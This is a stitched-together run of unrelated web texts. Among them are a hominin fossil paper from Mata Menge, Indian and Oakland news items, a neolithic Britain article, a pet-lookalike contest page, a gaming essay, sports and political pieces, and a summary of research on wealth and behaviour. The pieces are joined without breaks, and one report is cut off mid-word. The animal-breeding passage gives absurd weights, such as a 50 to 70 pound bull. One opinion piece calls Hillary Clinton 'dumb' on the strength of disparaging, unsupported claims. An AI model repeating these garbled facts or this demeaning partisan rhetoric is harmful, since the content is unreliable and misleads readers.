'It is both insensitive and inconsiderate to label one particular shade as'skin colour' in a market where a majority of the consumers have skin tones that are either dark or at least different from the shade described as'skin' by the company.'
He said he had contacted the maker of the 'Colorama' crayons - Hindustan Pencils Ltd - and had demanded an explanation but said he had not been given one.
He said he had contacted the maker of the 'Colorama' crayons - Hindustan Pencils Ltd - and had demanded an explanation but said he had not been given one
Instead he was told that they had always called it that, and had no plans to change it.
He said: 'I believe that such a crayon will reinforce stereotypes about racial supremacy. It is written on the box of crayons that they are meant for four-year-old children. What impact will it have on these young minds when they realise that their skin colour is not recognised? Won't it reinforce the notions of beauty that fairness products or films seek to impose when they realise that their skin colour is not one that is regarded as the norm?'This paper reports morphological analyses of hominin fossil materials excavated from the open site of Mata Menge in 2014 (ref. 7) (Extended Data Table 1). Mata Menge is one of the Middle Pleistocene fossil-bearing localities in the So’a Basin, and is situated 74 km east-southeast of Liang Bua. The specimens (n = 7) under study were recovered in situ from the upper part of a lens-shaped fluvial sandstone unit (Layer II) measuring up to 30 cm in thickness. Layer II is capped by a 6.5 m thick sequence of clay-rich volcanic mudflows (Layer Ia–f) that filled in the stream valley and effectively sealed off Layer II (ref. 7). All hominin fossils were excavated within a maximum linear distance of 15 m. They are associated with stone tools and the fossil remains of dwarfed proboscideans (Stegodon florensis), murine rodents, Komodo dragons, and other insular fauna of Flores. The age of Layer II is constrained to between 0.65 and 0.8 Ma, using 40Ar/39Ar dating and other methods of age determination7. The hominin fossils display some minor dissolution pitting; generally, however, the surface preservation of these specimens is quite good.
SOA-MM4 is a right mandibular corpus (Fig. 1). Despite its small size, we conclude that this partial mandible comes from an adult individual, and that the preserved alveoli represent M 1 to M 3. Only the lingual wall of the mesial alveolus remains for M 1 (Extended Data Fig. 1a). This is not for P 3 because the mandibular canal that normally exits in the area below P 3 −M 1 of a hominin mandible further continues anteriorly beyond this level (Extended Data Fig. 1c, h). Micro computed tomography (CT) scan data indicates that the alveolus for the last molar supported a plate-like mesial root and a conical distal root which together tilt distally, a form typical for a hominin M 3 root (Extended Data Fig. 1h, i). Distally to it, the alveolar bone bears no evidence of a tooth germ. The bottoms of the long M 3 alveoli come close to the mandibular canal and display tapering shapes, indicating that its root formation was fully or at least nearly completed.
Figure 1: SOA-MM4 mandible compared with a Liang Bua H. floresiensis specimen. a–d, Superior (a), lateral (b), inferior (c), and anterior (d) views. e, Lateral view of the LB6/1 mandible. M 1, first molar; M 2, second molar; M 3, third molar; MC, mandibular canal; aMF, accessory mental foramen. Scale bar, 10 mm. Full size image Download PowerPoint slide
The lateral corpus is the smallest in our sample, being 21–28% lower and narrower than in the two existing H. floresiensis mandibles from Liang Bua (LB1, LB6/1: Extended Data Fig. 2a, b). The lateral corporal surface of SOA-MM4 is damaged, but its cross-sectional shape (Fig. 1d, Extended Data Fig. 1e) clearly indicates the absence of an Australopithecus-like hollow, and the presence of a prominent superior lateral torus, a feature characteristic of Homo8,9. Mandibles of Australopithecus and to a lesser extent those of H. habilis sensu lato are characterized by a robust and strongly everted lateral corpus as well as a wide extramolar sulcus, in association with their narrow dental arcades and the resultant horizontal separation between the lateral mandibular corpus and the ramus10,11. These features are lacking in SOA-MM4, which has a comparatively thin, vertically oriented lateral corpus with a narrow extramolar sulcus that is evident from the medially located anterior ramus root (Extended Data Fig. 1). Such features became apparent in post-1.7-million-year-old (Myr old) Homo, including early Javanese H. erectus and H. floresiensis (Extended Data Fig. 3). Similarities between SOA-MM4 and the corresponding morphology of H. floresiensis extend to other features such as the near parallel alveolar margin and mandibular base, a moderate lateral prominence, and a gently hollowed masseteric fossa with a coarse, curved line for the masseter muscle attachment (Extended Data Fig. 4). Multivariate analyses based on the small number of the available linear measurements also support our hypothesis that SOA-MM4 is at least different from Au. afarensis, and is similar to H. floresiensis in the corpus shape (Extended Data Fig. 5).
The 2014 fossil assemblage from Mata Menge includes six isolated hominin teeth from three or more individuals (Fig. 2; Extended Data Fig. 1j,k; Extended Data Table 1; Supplementary Information). Crown and root measurements available from three permanent teeth (left I1, right P3, and left M 1 (or M 2 )12) are small and similar to or slightly smaller than those of H. floresiensis (Extended Data Table 2, Extended Data Fig. 2c–f). The broken root of the I 1/2 is also equally small (Extended Data Fig. 1k), although comparative measurements are unavailable from this specimen, which was used for direct uranium-series dating7. Morphologically, the Mata Menge teeth display the following primitive features: (i) a lingually (I1, I 1/2 ) or distally (P3) beveled, worn occlusal surface that suggests tilted anterior dentition and substantial prognathism (Extended Data Fig. 1j); (ii) a pronounced P3 lingual cusp whose mesiodistal diameter compares with that of the buccal cusp13,14; and (iii) a mid-trigonid crest on M 1. These features are frequently observed in Early Pleistocene African and Eurasian Homo (that is, H. habilis sensu lato and H. erectus sensu lato), and the third character became frequent in H. erectus and some later groups of archaic Homo3,15. Liang Bua H. floresiensis shares the first and probably the third characteristics, although the second is not evident on the worn Liang Bua premolars16. Most features of the Mata Menge I1 and P3 are not useful for assessing taxonomic affinities relative to H. habilis or H. erectus (Supplementary Information), although the absence of the P3 buccal groove is a condition appeared in post-habilis grade Homo3. The Mata Menge and Liang Bua hominins also share a bifurcated, fused P3 root form.
Figure 2: Isolated teeth from Mata Menge. a, SOA-MM2 (left I1). b, SOA-MM5 (right P3). c, SOA-MM1 (left M 1 ). d, SOA-MM7 (left d c ). e, SOA-MM8 (right d c ). In each row, from left to right, occlusal, buccal (labial), lingual, mesial, and distal (except for c) views. Scale bar, 10 mm. Full size image Download PowerPoint slide
We digitally reconstructed the broken M 1 (or M 2 ) crown (SOA-MM1) based on its micro-CT scan (Fig. 3a). Both linear metric and crown contour analyses of the M 1 s showed that this five-cusped tooth is moderately long and is close to the average M 1 shape of early Javanese H. erectus, but is different from the elongated H. habilis-like forms17 (Fig. 3b, Extended Data Fig. 2e). SOA-MM1 lacks two of the most peculiar, derived characteristics of the Liang Bua H. floresiensis M 1 s: a reduced cusp number (five to four) and a MD shortened crown configuration3. The above comparative morphology remains largely the same even if SOA-MM1 is a M 2, although these analyses do not clearly separate H. floresiensis from early Javanese H. erectus (Fig. 3c; Extended Data Fig. 2f).
Figure 3: CT-based reconstruction of SOA-MM1 and the results of Elliptic Fourier Analysis of the molar crown contour. a, Occlusal (left) and buccal (right) views of the reconstructed SOA-MM1, and a horizontal CT section (central) at the level indicated in the buccal view. Scale bar, 5 mm. Plots of the PC scores for the first molar (b) and the second molar (c) analyses. Proportions of the variance explained by each PC is in the parentheses. Full size image Download PowerPoint slide
The two deciduous canines (d c s) from Mata Menge are much smaller than H. sapiens (n = 63), H. erectus (n = 1), and Australopithecus (n = 6), but do not display the relatively high crown shape that characterizes the latter genus (Extended Data Fig. 6a, b). In a principal component analysis (PCA) based on five size-adjusted linear measurements (Extended Data Fig. 6c–e), PC1 separates Australopithecus-like primitive (a high crown with a low distal shoulder) and modern human-like derived (a low crown with a high distal shoulder) morphologies. Allometry does not explain this inter-taxon difference because the d c crown sizes are similar between the two taxa. SOA-MM7, the minimally worn d c from Mata Menge, is positioned in between Australopithecus and H. sapiens in PC1. There are no deciduous teeth in the existing H. floresiensis assemblage from Liang Bua.
The above findings shed new light on the origin and evolution of Late Pleistocene H. floresiensis. Notably, the 0.7-Myr-old Mata Menge hominins are similar to Late Pleistocene H. floresiensis of Liang Bua in dentognathic size and morphology, but the former lacks several derived molar morphologies of the latter. This suggests that the early Middle Pleistocene hominins of the So’a Basin were directly ancestral to Liang Bua H. floresiensis. Further support for this view is provided by the following observations: (i) stone technologies at Mata Menge and Liang Bua are markedly similar, implying a period of technological continuity spanning at least several hundred millennia18; (ii) there is no evidence for a faunal turnover during the time interval separating the fossil records of the So’a Basin and Liang Bua19; and (iii) H. floresiensis lacks a series of derived cranial features of chronologically late H. erectus from Java, such as specimens from Ngandong, Sambungmacan, and Ngawi (all of which are presumably from the late Middle to Late Pleistocene period)2,20. We conclude that the most reasonable taxonomic assignment for the Mata Menge fossils is to H. floresiensis, although this remains a provisional interpretation until new skeletal materials are found.
Concerning the origins and evolutionary relationships of H. floresiensis, we note that the Mata Menge mandible and teeth are morphologically derived compared with Australopithecus and H. habilis, with their primitive aspects comparable to post-habilis grade Early Pleistocene Homo. This is most consistent with the hypothesis that H. floresiensis originated from a population whose closest affinities are with early Javanese H. erectus (≥1.2–0.8 Ma), whose femoral length is 55–61% longer, and absolute brain size about twice as large, as H. floresiensis21,22,23. Additional support for this includes reports that the earliest evidence for hominins on Flores (~1.0 Ma)24 does not exceed the oldest record of H. erectus on Java (≥1.2 Ma)25,26, and recent detailed analyses of the craniodental morphology of Liang Bua H. floresiensis2,3,16. Given how little is known about the distribution of early H. erectus on the ancient ‘Sunda’ shelf, it remains an open question whether the founding population crossed to Flores in a west-to-east direction from Java, or via a northern route from the Wallacean island of Sulawesi27,28,29.
It is noteworthy that the mandible and teeth from Mata Menge are slightly smaller than the two H. floresiensis individuals from Liang Bua (LB1 and LB6/1). While this could indicate a slight body size increase over time, it may also simply reflect intra-population variation in the Mata Menge and Liang Bua hominin groups. Whichever the case, it would appear that the Flores hominins had acquired extremely small dentognathic size during the time span of at least 300 millennia following the initial colonization of Flores, assuming that the oldest artefacts from Flores—dated to at least ~1 Ma24—were produced by large-bodied ancestors of the Mata Menge hominins. This apparently very fast transformation in hominin body size is surprising. Although no other documented examples of rapid island dwarfing exist for primates, we note that red deer from the island of Jersey had reduced to one-sixth of the body size in the ancestral population within about six millennia30. Flores may have been an exceptional case; however, the fossil evidence from Mata Menge highlights how quickly major evolutionary changes could have occurred in hominin populations cut off on isolated and impoverished islands of Wallacea.OAKLAND — Local homeowners will see their collective property values drop by more than $12 billion by the end of 2012 as a direct result of the nation’s foreclosure crisis, according to a report to be released Thursday.
Using projections from Realty Trac, researchers estimated that from 2008 to the end of 2012, more than 28,000 Oakland homes will have gone into foreclosure. When a home goes into foreclosure, it usually drops in value by an average of 22 percent, and other homes within an eighth of a mile tend to be hurt by about 1 percent, according to the report.
Titled “The Wall Street Wrecking Ball,” the report is one of five being released by the Alliance of Californians for Community Empowerment, or ACCE, formerly ACORN, and the California Reinvestment Coalition. The other cities studied were San Francisco, San Jose, Sacramento and Los Angeles.
“These numbers haven’t really been out there in any way before now,” said Bahar Tolou, a research analyst who worked on the report. Tol |
stone-age Britain.
The first farmers arrived in Britain from France and appeared in Kent around 4050BC. At first, agriculture spread very slowly — by 3900BC farming had only reached the Cotswolds. Then it went through a period of explosive growth. Within 50 years it had spread across almost all of mainland Britain, reaching as far as Aberdeen. "Presumably a critical mass of farming folk had arrived in Britain while our native hunter-gatherers had seen the game was up and turned to agriculture and a sedentary way of life," said Whittle.
Once farming was established, ideas were imported from the continent in its wake. First came long barrows, distinctive earth mounds which are often found to contain human remains. They appeared around 3800BC. Then, in 3700BC, came causewayed enclosures. "The difference between the two structures is critical," said Bayliss. "An extended family could build a long barrow in a summer. It would have taken several hundred men to build a causewayed enclosure."
In a century, society had changed profoundly from the days when a few isolated farmsteads celebrated their clan links with communal burial grounds. "Chieftains or religious leaders had causewayed enclosures built. Hundreds of people would have been involved. Then they used them for celebrations that bound these people to a common cause," said Bayliss. "Huge festivals were held. We also know from digs at the enclosure at Hambledon Hill in Dorset that festivals there were held in August or September, to judge from the condition of the teeth of the cattle that were slaughtered there. The man who ran these celebrations would have been very powerful, it is clear.
"The crucial point is that, until we developed this precision in dating, we had no idea of the chronology of neolithic Britain and could not make sense of its of politics. Now we understand a lot more."Contest Directions: It has been said that people buy pets that look like they do. I have proof of this. I saw Rosie O'Donnell walking her gorilla just yesterday.
In this contest you are asked to create images of animals that also contain "human faces" using images of celebrities, politicians or any other recognizable face. You can look at It has been said that people buy pets that look like they do. I have proof of this. I saw Rosie O'Donnell walking her gorilla just yesterday.You can look at this previous contest for inspiration.
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This contest is fueled by the following news: If you take a close look at dogs and their owners the old saying that they are alike is actually right in 3 out of 10 pairs. So says the statistics of the recent study conducted by professor Nicholas Christenfeld of the University of California. Christenfeld took a random sample of the dogs and their owners and took pictures of them to study the visual similarities and behavioral patterns. Strong facial feature similarities were found in three out of ten cases. In other words dogs do look like their owners almost in every third household which keeps these four legged friends. Why does this happen, and specifically how does this happen? The process has to do with the psychology of picking up pets, especially dogs by the future owners. When a person looks at mutts, he is naturally drawn to those that resemble him in looks or behavior. When they live together these similarities tend to grow bigger as they pick up the behavioral patterns from each other. Dogs, like children begin to resemble their owners in their behavior. Visual trait similarities (especially hair style) often remain and even increase through the years. The research study at the University of California even conducted an experiment. The photos of dogs and their owners were separated and given to a panel of people who were asked to possibly match back pairs of the owners and their dogs. The results were amazing - in over sixty percent of cases the pairs were matched correctly. Such a high statistical figure shows that similar visual traits do play a vital role in pet choosing, and it's especially true with dogs - animals which are closer to humans than any other pets. Dogs are also shown to have a higher intelligence than any other household pets. Christenfeld suggest that psychology plays a vital role in the choice of a mutt. Humans are naturally drawn to animals that resemble them either with visual traits or in behavior. Agricultural animals: Not all animals are equally domesticated. Agricultural animals are the most domesticated ones. They have a highly developed ability for adapting (with the help of man) to various external conditions. For example, they can tolerate extremely cold and hot conditions and eat not only the forages, which are available in nature, but also the ones that are prepared artificially. Such properties are possessed by the cow, sheep, horse and pig, and consequently they merged in the household. But there are also ones like the buffalo, camel, reindeer, llama or alpaca, which live only in particular regions - in the very cold, or in hot regions of Asia and Africa or on the high mountains of Peru. Pets are beneficial to humans. Supporters of the movement for the rights of animals think that man must not kill animals for meat and skin. The most hard-line vegetarians abstain even from milk and eggs. Pets are the source of foodstuffs (milk, oil, cheese and other dairy products, and also meat, fat). Others are reared for making clothes and shoes. Some carry loads and carry out agricultural work. Sometimes animals are kept for pleasure, for example, some birds. However many birds are reared for getting useful products (meat, eggs, feathers, fur). House insects are reared for obtaining useful products. Bees produce honey, and silkworms are reared for silk. Selective Breeding The main feature of pets which is used by the selective breeders is the variety of their qualities. This is used for raising various breeds. Thanks to laborious selection work, in the last two centuries some original animals have been transformed beyond recognition. Examples are the brachycerous cow, the Leicester and Southdown sheep, the English racer and carthorse, and last, the Yorkshire and Berkshire breeds of pigs. These changes in the organism of animals and the fixation of desirable heredity became possible because of the very long work, carried out by many generations of breeders. If we take the original animal and put it near to the developed animal, then the results of breeding often seem just impossible. The English bull weighs up to 50 to 70 pounds. The Russian country sheep weighs 50 - 60 pounds, the sheep of the Southdown breed is fattened up to 400-600 pounds, and besides this it gives 10-15 pounds of fine long wool. English pigs in one year reach the weight of 10-12 pounds (for comparison, the Russian pig has to be raised for 3-4 years so as to attain this weight). Nothing more can be said about English racers and carthorses. An interesting example of changes in the features of pets depending upon the requirement of man is the merino sheep. The breeding of its hair-coat covering was determined by the changes in demand for different types of wool. In the last decades, sheep breeders have tried to change the length, fineness and other characteristics of the merino wool. At present selective breeders want to develop such breeds which could be useful in different ways. For example, in large horned livestock, they are trying to combine milking with the ability of fattening, and in sheep the production of good wool with meat. The works of the Blackwell and Collins brothers have shown that by means of selective breeding, it is possible to get desirable changes in the attributes of pets, and it is just a guess, whether there is any limit to these changes. Darwin in his world famous composition "the Origin of Species" has repeatedly referred to achievements of cattlemen in deducing new breeds of livestock. All chapter 1 of the book is devoted towards changes, which animals and plants undergo during their breeding processes.Hillary May Just Be Dumb
Hillary is losing her party's presidential nomination to a man who is not even a Democrat and to another man who has not yet entered the race. How can a candidate who began with such an enormous edge that twelve months ago she was deemed "inevitable" have fallen so far? The usual explanation is that the Clintons are too secretive, too paranoid, and too much like lawyers. Consider another possibility: Hillary may be dumb. We presume otherwise because she went to Ivy League schools and because she belonged to a prominent Little Rock law firm and because she has held a couple of important offices since her husband left the White House. But we all know the real source of her success: she has been Mrs. William Jefferson Clinton for forty years.
Hillary's undergraduate degree was in political science, a major that requires nothing more of a student than slavish aping of the radical leftist positions of one's professors. Her admission to Yale Law School was during the heyday of affirmative action, when schools were desperate to find young women to balance the gender quotas. The jobs Hillary had out of law school were purely ideological positions, first as a staff attorney for the so-called "Children's Defense Fund" and as a member of the impeachment inquiry staff of the House Judiciary Committee at the time of Watergate. Hillary then tried to become a lawyer in the District of Columbia and took the bar exam for that jurisdiction. She failed, despite the fact that two thirds of those who took the exam passed. Soon thereafter, Hillary accepted Bill's wedding proposal and moved to Arkansas. Her first "real" job was with the Rose Law Firm, but did she "earn" that job the way most of us would have? Well, Hillary was hired a couple of months after her husband was sworn in as Arkansas attorney general. That continued to be where Hillary worked as her husband was elected again and again as governor of Arkansas. Hillary was rarely in court. Her role was that of a "rainmaker," an average sort of lawyer who can nevertheless bring in clients because of her connections. Hillary certainly had those connections. Her husband was either Arkansas attorney general or governor of Arkansas for 14 out of the 16 years from January 1977 to January 1993. Few doubt today that Hillary knew about her husband's behavior as a philanderer and sexual predator. Few doubt also that Hillary could have ruined her husband's career in one afternoon news conference. Why didn't she do that and then strike out on her own? One plausible explanation is that she felt like a very ordinary sort of person on her own. Since being first lady, what has Hillary done? She was elected almost by default as a Democrat to the Senate from New York, a state that last elected a Republican to the Senate in 1992, and then as Obama's secretary of state. Her books, of course, are ghostwritten, and her board memberships over the last few decades are meaningless gestures to the wife of a powerful husband. Hillary has shown in her life no serious intelligence at all. So might she not just be sort of…dumb? She is never unscripted, and the script she reads has been written by other people who are smart. Hillary almost never takes questions, and her responses to the few questions she condescends to answer are profoundly dull. Hillary's private email server was a decision that was not just sneaky, but also stupid. In fact, Hillary's imploding campaign is entirely the result of self-inflicted wounds. Leftism, of course, elevates dummies and whispers into the ears of these sock puppets that they are actually brilliant. Mouthing hoary leftist nostrums is always deemed terribly wise, and parroting the party line is invariably thought subtle and profound. Why would we suspect that Hillary would be the exception to the process of leftism dumping hapless mediocrities on America after pronouncing these people smart? More than most leftists, Hillary has made stupid mistake after stupid mistake. More than most, Hillary has fallen back on her spouse and her "experience" as first lady as proof that she is up to the job as president. One explanation is that Hillary is super-clever. A better explanation is she is not too bright.Dave Winer, 53, pioneered the development of weblogs, syndication (RSS), podcasting, outlining, and web content management software; former contributing editor at Wired Magazine, research fellow at Harvard Law School, entrepreneur, and investor in web media companies. A native New Yorker, he received a Master's in Computer Science from the University of Wisconsin, a Bachelor's in Mathematics from Tulane University and currently lives in Berkeley, California.
"The protoblogger." - NY Times.
"The father of modern-day content distribution." - PC World.
One of BusinessWeek's 25 Most Influential People on the Web.
"Helped popularize blogging, podcasting and RSS." - Time.
"The father of blogging and RSS." - BBC.
"RSS was born in 1997 out of the confluence of Dave Winer's 'Really Simple Syndication' technology, used to push out blog updates, and Netscape's 'Rich Site Summary', which allowed users to create custom Netscape home pages with regularly updated data flows." - Tim O'Reilly.That feeling when you finish a long series of books, or a television series, and say goodbye to the characters for the last time. Closing a world, pulling down the shutters and knowing that it has run its course, is a peculiar sensation. Indeed, it can provoke a sense of loss. How utterly ridiculous I felt last week when I mourned the ending of tens of thousands of tiny football-men, each of which is little more than a pile of numbers and behaviours. BUT CAN ANY ONE OF US CLAIM TO BE MORE THAN THAT, I thought, as I uninstalled Football Manager 2015 [official site] and prepared to move on to the beta for the new model.
I’m very bad at goodbyes.
The loss – or rather abandonment – of my Football Manager save isn’t quite like anything else. Or, to be more precise, the loss of a simulated world isn’t the same as the loss of a written world. My save game had run up to 2052. It was unique. That specific collection of events and characters does not exist anywhere else and when I decided to move on, cursing the lack of save transfers, I consigned it to history.
All of the stories were my stories, even though I’d been on the periphery of the majority. Sure, there were the Starks and Lannisters of the world – Manchester United, fallen from grace, and Chelsea, enthroned and despised, respectively – but there were so many minor players. For a period from 2022-2028, one of the greatest players in the world was a ridiculously speedy wingback by the name of Angel Blaze. I signed him to Everton in 2020 when he was 16 years old and already had the potential to be a world-class player. By 18 he was a first team player capable of scoring wicked freekicks from distance and almost impossible to pin back in his own half.
from the 1,000 year sim
He’d cut through the midfield like a knife through butter. And not butter that’s been in the fridge forcing you to hack away at it like an executioner at the block. Blaze was unstoppable. Better yet, I barely had to give him any instructions. He rarely made bad decisions and he was the perfect final piece in the jigsaw of my team. Previously we’d struggled to finish in the top 4 of the Premier League. With Blaze, we won three in a row (2024/5 – 2027/28) and reached two Champions League finals.
In the second game of the next season, Blaze, now captain, had his leg broken in a rash challenge at the edge of the area. I didn’t realise how bad the injury was until the end of the match. Months out of the side. Our form slumped and we were 9th when he returned to action.
And poor Blaze was never the same again. Whether it was something in the simulation or some bias in the way I observed things after that moment, caught up in the fiction of the world, he seemed to have lost his confidence. He no longer cut through the midfield, always looking for the safe pass sideways or backwards as soon as he was challenged.
He remained captain for the next two seasons but his average rating had dropped from the glory days of 7.80 across a season to 6.24 by 2030/2031, when he barely started half of the league games.
Later, he adopted a long-term goal to become a manager when his playing days were over. He didn’t seem to mind the lack of first team football. I think he knew his best days were behind him.
When he eventually left Everton it was to return to his native Argentina. I checked in on him occasionally, hoping to see he’d moved into management. I would have been happy to see him back in England, even managing a rival, just to be sure that he hadn’t gone for good. I had him on a shortlist, which meant I still received news about his activities. Sadly, there was nothing to report. He retired from football in 2035 and essentially ceased to exist. There was no way of knowing where he was or what he was doing in 2052 when I pressed the button that deleted the rest of the world.
I’ve said goodbye to many worlds over the years: the mighty and farcical structures of Dwarf Fortress, where an enraged badger often has more character and influence than the entire cast of a long-running television show; the empires, earldoms and families of Crusader Kings, each bloodline as complex and colourful as any soap dynasty; some of my first ever simulated creations in Sim Earth and Sim Life. Worlds without end. Except, of course, when I end them.
I half suspect that Football Manager world still exists somewhere, in the cloud or on a Sega backup server. It’s not like the stray files stored on floppy disks that were such fragile homes, that’s for sure. But I’ll never go back. Not to play, at least. Maybe for nostalgia’s sake, but I’ll only be able to see the world as it was when I left it, not as it was in those golden days. And Angel Blaze? He’s gone forever, retired into the unknown.
This post was made possible by the RPS Supporter Program. Thanks for your funding!LOS ANGELES – Deadpan humor is a lot more fun than Xs and Os.
Mike Leach proved it again on Thursday, delivering three one-liners before he took his seat at the Pac-12 Media Days event.
This is Hollywood, after all, and the Washington State football coach was ready for his closeup.
Again.
His first targets were his own players, including Cougar linebacker Peyton Pelluer (“he’s got that samurai hairdo going”) and Jamal Morrow, the star running back who dashed to the far end of the room but couldn’t shake Leach’s verbal open-field tackle.
“And he continues to walk away, very disinterested,” Leach deadpanned as he pointed while Morrow tried to shrink his 5-foot-9 frame into a chair.
Laptops went quiet as laughter filled the cavernous conference room.
Then Leach softened the blows, calling Pelluer and Morrow “two quality players getting their degrees, and are basically everything that my parents wish I was.”
More folks laughed and more reporters joined Leach the front of the room.
No surprise there: Leach came into this event with some lighthearted baggage from past media day comedy shows, and the media was eager to help him carry it further – sometimes to extremes.
A question about Twitter (“I’m getting the hang of it”, Leach replied) was followed immediately with his dissertation on a debate for the ages:
Is a hot dog a sandwich?
After stating unequivocally that he doesn’t like them (probably because he ate too many bologna sandwiches as a child), Leach deftly melded the topics of food and sports and announced to everyone that A) “A hot dog isn’t a sandwich,” and B) “I’m not into hot dogs, with all due respect to those that are, but they can have mine, so there will be more for them.”
Mike Leach has some thoughts on hot dogs: "I'm not into hot dogs." pic.twitter.com/dB8bw0hjTR — USA TODAY Sports (@usatodaysports) July 27, 2017
Leach hot-dogged through the rest of the 20-minute session. By then, the only subject that seemed off-topic was the game of football.
A question about quarterback Luke Falk (“his best football is ahead of him,” Leach said) threatened to break the comedic thread, but Leach and his enablers combined for the most thought-provoking subject of the day:
What is the most challenging thing with Millennials, and the most fun?
Leach, who works with dozens of 18-to-22-year-olds every day, blamed the challenges on a “lack of accountability” spawned by indulgent parents.
“But I think … then the other thing is their best feature, probably, well, they’re experts on technology. Heck, when I was a kid, I would watch Star Trek. These guys could have invented the plane, the computer, Scotty, the whole thing.”
But they lack perseverance – a scarce commodity these days, Leach implied.
“But I think along with that is as soon as something gets hard, you don’t give in. You push through it,” Leach said.
He closed the topic with a dash of hope.
“I do think we’ll cycle out of that. There’s always been a cycle. … Paul Harvey always said, tomorrow’s always better than today.”by
MW: Should FBI Director James Comey be investigated for meddling in the 2016 presidential election?
Dennis Kucinich, Former Congressman: The Director of the FBI is not beyond accountability. President Obama should have demanded Director Comey’s resignation immediately after Comey interfered in the 2016 Presidential election with his October 28, 2016 pronouncement of the discovery of new emails in the Clinton case. Comey breached protocol, bypassed channels, and tilted the outcome away from Clinton and toward Trump.
If Comey refused a presidential demand that he resign, then President Obama should have dismissed him. There is a precedent. President Clinton dismissed FBI Director Session in 1993. Also The FBI Director can also be subject to impeachment by the House and removal by the Senate. Given his role in upending the 2016 President election, it is astonishing that Director Comey is being given a chance to prove it was ‘the Russians what did it.’
MW — In a recent Fox News article, you discussed Director Comey’s “unprecedented intrusion into presidential politics”, (that) “has damaged public confidence in the Bureau.” In an earlier article you mentioned that independent surveys have been conducted that strongly suggest that Comey’s meddling may have changed the outcome of the election.
Here’s is an excerpt from an article about one of those surveys. The article clearly states that “Comey’s letter, 11 days before the election, was the precipitating event behind Clinton’s loss”, and that “it was the single, most indispensable factor in the surprise election result.” Here is the entire except from the article:
“Most decisively, there was a sudden change in the net sentiment results that followed immediately after FBI Director James Comey released his Oct. 28 letter to Congress about a renewed investigation of Clinton emails. Immediately afterwards, there was a 17-point drop in net sentiment for Clinton, and an 11-point rise for Trump, enough for the two candidates to switch places in the rankings, with Clinton in more negative territory than Trump. At a time when opinion polling showed perhaps a 2-point decline in the margin for Clinton, this conversation data suggests a 28-point change in the word of mouth “standings.” The change in word of mouth favorability metric was stunning, and much greater than the traditional opinion polling revealed. Based on this finding, it is our conclusion that the Comey letter, 11 days before the election, was the precipitating event behind Clinton’s loss, despite the letter being effectively retracted less than a week later. In such a close election, there may have been dozens of factors whose absence would have reversed the outcome, such as the influence campaign of the Russian government as detailed by US intelligence services. But the sudden change in the political conversation after the Comey letter suggest it was the single, most indispensable factor in the surprise election result.” (Comey Letter Swung Election For Trump, Consumer Survey Suggests”, Brad Fay, Huffington Post)
How should Congress deal with this situation?
Dennis Kucinich: Congress could impeach Comey, but that will not happen for two reasons. (1) Democrats want to maintain the fiction that the Russians tipped the election to Trump. (2) Republicans want to maintain the fiction that Trump won because voters preferred Republicans.
I believe it is essential to focus on Comey. His interference was a miscarriage of justice, which must still be rectified. Congress must pass a law which requires all FBI officials to refrain from an public or private comment, within four weeks of a primary or general election, on any case involving a candidate for public office, or executing any search warrant, or seeking charges against any candidate for elected office, under penalty of criminal charges.
The FBI must not be permitted to interfere in elections through supposition, rumor or stuffing the ballot box with allegations or indictments. If voters elect someone who is later proven to have committed a crime, there are plenty of legal procedures to force removal.
MW — Here’s a quote by Masha Gessen from an article titled “Russia: The Conspiracy Trap” at the New York Review of Books. Gessen thinks the Democrats are actually hurting themselves by pursuing the Russia hacking story. Here’s what she says:
“Trump is doing nothing less than destroying American democratic institutions and principles by turning the presidency into a profit-making machine for his family, by poisoning political culture with hateful, mendacious, and subliterate rhetoric, by undermining the public sphere with attacks on the press and protesters, and by beginning the real work of dismantling every part of the federal government that exists for any purpose other than waging war. Russiagate is helping him—both by distracting from real, documentable, and documented issues, and by promoting a xenophobic conspiracy theory in the cause of removing a xenophobic conspiracy theorist from office.”
Do you agree with Gessen, is Russiagate actually helping Trump? Do you think the investigation could backfire on the Democrats and hurt them politically?
Dennis Kucinich: “RussiaGate” is not helping Trump, nor is it hurting him. It is hurting the Democratic party as its minions in Congress perform weak imitations of Senator Joe McCarthy. McCarthyism does not sound better spoken out of the left side of the system’s mouth than it did out of the right side. The Democrats are losing valuable time trying to blame the 2016 election results on Moscow. 2020 will be not decided in Moscow, but in Cleveland, Detroit, Milwaukee and like cities in the US, which is why the party should be promoting an alternative economic vision with jobs for all, health care for all, education for all, retirement security for all, a clean environment, fair trade and an end to war.On Thursday night's broadcast of The Late Show host Stephen Colbert gave his take on the Obamacare replacement passed by Republicans in the House of Representatives earlier that day.
"So they did it!" Colbert said of the House bill. "Obamacare is finally, officially dead is something they can say once the bill goes to the Senate then gets out of committee, is debated on the floor where amendments can be added then the Senate votes on their bill which is sent to conference committee where the differences between the two bills are ironed out then voted on in the House and Senate again then sent to the White House for the president to sign. Which is why Republicans were chanting, 'We're number one-third of the way through a very complex process.'"
"After the vote, one reporter ran into [White House Chief Of Staff] Reince Priebus who told her, the president stepped up and helped punt the ball into the end zone. Yes, a punt into the end zone. Accurate because it gets you zero points and gives your opponent good field position. (Editor's note:
Priebus actually said the president helped to "punch" the ball into the end zone.) Punt way.
"I think a more accurate football metaphor might have been the GOP just kicked America in the balls," the late night funnyman said.
Colbert has been under the spotlight lately for controversial remarks he made earlier in the week about President Donald Trump and Russian President Vladimir Putin. Colbert later said he did not regret the sexually explicit comments.
Watch Colbert's full monologue from Thursday night:Call it the asshole effect. That is the term coined by US psychologist Paul Piff after he did some stunning new research into the effects of wealth and inequality on people’s attitudes.
As we ponder Joe Hockey’s budget and his division of the world into "leaners" and "lifters", as we learn from Oxfam that the richest 1% of Australians now own the same wealth as the bottom 60%, we would do well to consider the implications of Piff’s studies. He found that as people grow wealthier, they are more likely to feel entitled, to become meaner and be more likely to exploit others, even to cheat.
Piff conducted a series of revealing experiments. One was remarkably simple. Researchers positioned themselves at crossroads. They watched out for aggressive, selfish behaviour among drivers, and recorded the make and model of the car. Piff found drivers of expensive, high-status vehicles behave worse than those sputtering along in battered Toyota Corollas.
They were four times more likely to cut off drivers with lower status vehicles. As a pedestrian looking carefully left and right before using a crossing, you should pay attention to the kind of car bearing down on you. Drivers of high-status vehicles were three times as likely to fail to yield at pedestrian crossings. In contrast, all the drivers of the least expensive type of car gave way to pedestrians.
Fascinated by these results, Piff and his colleagues then looked at what created these impulses to bad behaviour. In their laboratory, the richest students were more likely to consider "stealing or benefiting from things to which they were not entitled" than those from a middle-class or lower-class background. Even people simply primed to feel rich helped themselves to more sweets meant for children in a lab next door than those primed to feel disadvantaged.
